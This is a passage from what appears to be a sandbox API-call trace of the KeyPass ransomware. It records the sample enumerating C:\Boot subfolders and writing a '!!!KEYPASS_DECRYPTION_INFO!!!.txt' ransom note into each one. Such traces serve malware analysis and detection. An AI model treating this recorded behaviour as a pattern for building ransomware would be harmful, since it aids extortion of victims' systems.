lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.694] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0235.694] FindNextFileW (in: hFindFile=0xcba778, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.694] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.694] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.694] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.695] GetLastError () returned 0x3f0 [0235.695] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\es-ES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.695] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.695] CreateFileW (lpFileName="C:\\Boot\\es-ES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\es-es\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x370 [0235.775] GetFileType (hFile=0x370) returned 0x1 [0235.775] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.775] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.775] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.776] WriteFile (in: hFile=0x370, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.776] WriteFile (in: hFile=0x370, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.776] CloseHandle (hObject=0x370) returned 1 [0235.777] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba178 [0235.777] FindNextFileW (in: hFindFile=0xcba178, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.777] FindNextFileW (in: hFindFile=0xcba178, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.777] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.777] FindNextFileW (in: hFindFile=0xcba178, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.777] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0235.777] FindNextFileW (in: hFindFile=0xcba178, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.777] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\memtest.exe.mui") returned=".mui" [0235.777] FindNextFileW (in: hFindFile=0xcba178, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.777] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.777] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.777] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3800 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.777] GetLastError () returned 0x3f0 [0235.777] PathAppendW (in: pszPath="C:\\Boot\\es-MX\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\es-MX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.777] PathFileExistsW (pszPath="C:\\Boot\\es-MX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.237] CreateFileW (lpFileName="C:\\Boot\\es-MX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\es-mx\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x374 [0236.238] GetFileType (hFile=0x374) returned 0x1 [0236.238] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.238] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.238] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.238] WriteFile (in: hFile=0x374, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.239] WriteFile (in: hFile=0x374, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.239] CloseHandle (hObject=0x374) returned 1 [0236.239] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba5b8 [0236.240] FindNextFileW (in: hFindFile=0xcba5b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.240] FindNextFileW (in: hFindFile=0xcba5b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.240] PathFindExtensionW (pszPath="C:\\Boot\\es-MX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.240] FindNextFileW (in: hFindFile=0xcba5b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.240] PathFindExtensionW (pszPath="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned=".mui" [0236.240] FindNextFileW (in: hFindFile=0xcba5b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.240] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.240] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.240] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.240] GetLastError () returned 0x3f0 [0236.240] PathAppendW (in: pszPath="C:\\Boot\\et-EE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\et-EE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.240] PathFileExistsW (pszPath="C:\\Boot\\et-EE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.240] CreateFileW (lpFileName="C:\\Boot\\et-EE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\et-ee\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0236.241] GetFileType (hFile=0x378) returned 0x1 [0236.241] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.241] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.241] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.241] WriteFile (in: hFile=0x378, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.242] WriteFile (in: hFile=0x378, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.242] CloseHandle (hObject=0x378) returned 1 [0236.242] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba7b8 [0236.242] FindNextFileW (in: hFindFile=0xcba7b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.242] FindNextFileW (in: hFindFile=0xcba7b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.243] PathFindExtensionW (pszPath="C:\\Boot\\et-EE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.243] FindNextFileW (in: hFindFile=0xcba7b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.243] PathFindExtensionW (pszPath="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned=".mui" [0236.243] FindNextFileW (in: hFindFile=0xcba7b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.243] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.243] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.243] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.243] GetLastError () returned 0x3f0 [0236.243] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\fi-FI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.243] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.244] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\fi-fi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x37c [0236.282] GetFileType (hFile=0x37c) returned 0x1 [0236.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.282] WriteFile (in: hFile=0x37c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.283] WriteFile (in: hFile=0x37c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.283] CloseHandle (hObject=0x37c) returned 1 [0236.283] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba738 [0236.284] FindNextFileW (in: hFindFile=0xcba738, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.284] FindNextFileW (in: hFindFile=0xcba738, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.284] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.284] FindNextFileW (in: hFindFile=0xcba738, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.284] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0236.284] FindNextFileW (in: hFindFile=0xcba738, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.284] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\memtest.exe.mui") returned=".mui" [0236.284] FindNextFileW (in: hFindFile=0xcba738, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.284] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.284] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.284] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.284] GetLastError () returned 0x3f0 [0236.284] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.284] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.290] CreateFileW (lpFileName="C:\\Boot\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\fonts\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x380 [0236.292] GetFileType (hFile=0x380) returned 0x1 [0236.292] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.292] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.292] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.292] WriteFile (in: hFile=0x380, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.293] WriteFile (in: hFile=0x380, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.293] CloseHandle (hObject=0x380) returned 1 [0236.293] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba238 [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\malgun_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\msjh_boot.ttf") returned=".ttf" [0236.294] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.294] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned=".ttf" [0236.295] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.295] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\msyh_boot.ttf") returned=".ttf" [0236.295] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.295] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\segmono_boot.ttf") returned=".ttf" [0236.295] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.295] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned=".ttf" [0236.295] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.295] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned=".ttf" [0236.295] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.295] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0236.295] FindNextFileW (in: hFindFile=0xcba238, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.295] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.295] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.295] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.295] GetLastError () returned 0x3f0 [0236.295] PathAppendW (in: pszPath="C:\\Boot\\fr-CA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\fr-CA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.295] PathFileExistsW (pszPath="C:\\Boot\\fr-CA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.295] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\fr-ca\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384 [0236.296] GetFileType (hFile=0x384) returned 0x1 [0236.296] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.296] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.296] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.296] WriteFile (in: hFile=0x384, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.297] WriteFile (in: hFile=0x384, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.297] CloseHandle (hObject=0x384) returned 1 [0236.297] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba1f8 [0236.297] FindNextFileW (in: hFindFile=0xcba1f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.298] FindNextFileW (in: hFindFile=0xcba1f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.298] PathFindExtensionW (pszPath="C:\\Boot\\fr-CA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.298] FindNextFileW (in: hFindFile=0xcba1f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.298] PathFindExtensionW (pszPath="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned=".mui" [0236.298] FindNextFileW (in: hFindFile=0xcba1f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.298] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.298] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.298] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.298] GetLastError () returned 0x3f0 [0236.298] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\fr-FR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.298] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.299] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\fr-fr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0236.328] GetFileType (hFile=0x38c) returned 0x1 [0236.328] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.328] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.328] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.328] WriteFile (in: hFile=0x38c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.329] WriteFile (in: hFile=0x38c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.329] CloseHandle (hObject=0x38c) returned 1 [0236.329] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba3b8 [0236.329] FindNextFileW (in: hFindFile=0xcba3b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.329] FindNextFileW (in: hFindFile=0xcba3b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.329] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.329] FindNextFileW (in: hFindFile=0xcba3b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.329] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0236.329] FindNextFileW (in: hFindFile=0xcba3b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.330] PathFindExtensionW 